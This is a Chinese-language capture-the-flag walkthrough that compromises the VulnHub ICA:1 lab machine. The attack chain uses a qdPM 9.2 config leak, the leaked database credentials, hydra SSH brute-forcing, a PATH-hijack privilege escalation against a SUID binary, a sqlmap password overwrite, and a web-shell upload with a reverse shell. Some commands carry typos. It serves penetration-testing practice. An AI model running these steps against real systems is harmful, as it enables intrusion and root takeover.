靶场下载:https://download.vulnhub.com/ica/ica1.zip
一: VirtualBox导入,网络模式桥接。
二:信息收集。
1;服务端口开放。80端口是一个登录框。
2;目录遍历一波。存在信息泄露,存在一个数据库和一个qdPM9.2管理软件的web登录框。
三;枚举漏洞——找找这个版本存不存在漏洞。
searchsploit qdpm 9.2 搜索漏洞
locate 50854.txt 查看目录
cat /usr/share/exploitdb/exploits/php/webapps/50854.txt 查看提示
wget http://192.168.1.74/core/config/databases.yml
1;提示我们passwd.mysql:qdpmadmin/UcVQCMQk2STVeS6J。
2;登录数据库。把库里的用户名和密码保存下来爆破。base64 解密一下密码。
mysql -u qdpmadmin -h 192.168.1.74 -p
show databases;
use staff
show tables;
3;用户名成小写。
hydra -L user.txt -P passwd.txt ssh://192.168.1.74
在线工具:CyberChef
四;漏洞利用。
1;第一个falg.
2;en?提示说,存在可执行文件。
It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.在我看来,在访问系统时有一个弱点。 据我所知,可执行文件的内容是部分可见的。 我需要找出是否存在漏洞。
find / -perm -u=s 2>/dev/null
strings /opt/get_access 转换一下字符串
五:提权,权限提升。
1;发现会以root权限查看文件,那我们可以通过伪造一个文件名为cat的可执行文件,文件内容为/bin/bash,并将文件路径设置为环境变量,这样执行get_access的时候,就会执行我们伪造的cat文件,从而使我们获得root权限:
ehco '/bin/bash' > cat写入一个假的 cat 文件
chmod +X cat 为 cat 赋予执行权限
export PATH=.:$PATH 将当前目录写入到环境命令
/opt/get_access 最后执行命令,提权。
六:第二种提权方法;web界面数据库配置-重新安装数据库-更改管理员密码。
1;访问url,用泄露的账号密码登录数据库。安装数据库。qdPM 9.1 安装http://192.168.1.74/install/index.php?step=database_config
2;进去之后,让你更新一下管理员密码。保存成功之后跳转到管理员界面登录。
管理员的信息存储在qdpm下的 configuration表中,密码是app_administrator_password的值,可以去把源码下载下来看一下。
sqlmap -d mysql://qdpmadmin:UcVQCMQk2STVeS6J@192.168.1.74:3306/qdpm -f --banner
--sql-shell #sqlmap执行sql命令
UPDATE configuration set value="$P$E.iWYDCN28TAZXVGaQYb24opsdS3WN0" where id =2;
#更改一下管理员的密码
2;有一个文件上传的点。
3;上传文件,虽然报错,但是上传成功了。那接下来,我们就上传个shell。
4;上传shell,反弹监听。
5;监听成功窝窝窝,然后,提升一下bash;接下来就回到第四大点的第二点开始咯!我就不继续了喔。
python -c "import pty;pty.spawn('/bin/bash')"
总结;
1;qdPM9.2管理软件的版本漏洞,找到MySQL数据库账号密码。
2;qdPM9.2管理软件的web界面数据库配置漏洞及文件上传反弹shell漏洞。
3;利用文件权限设置环境变量提权。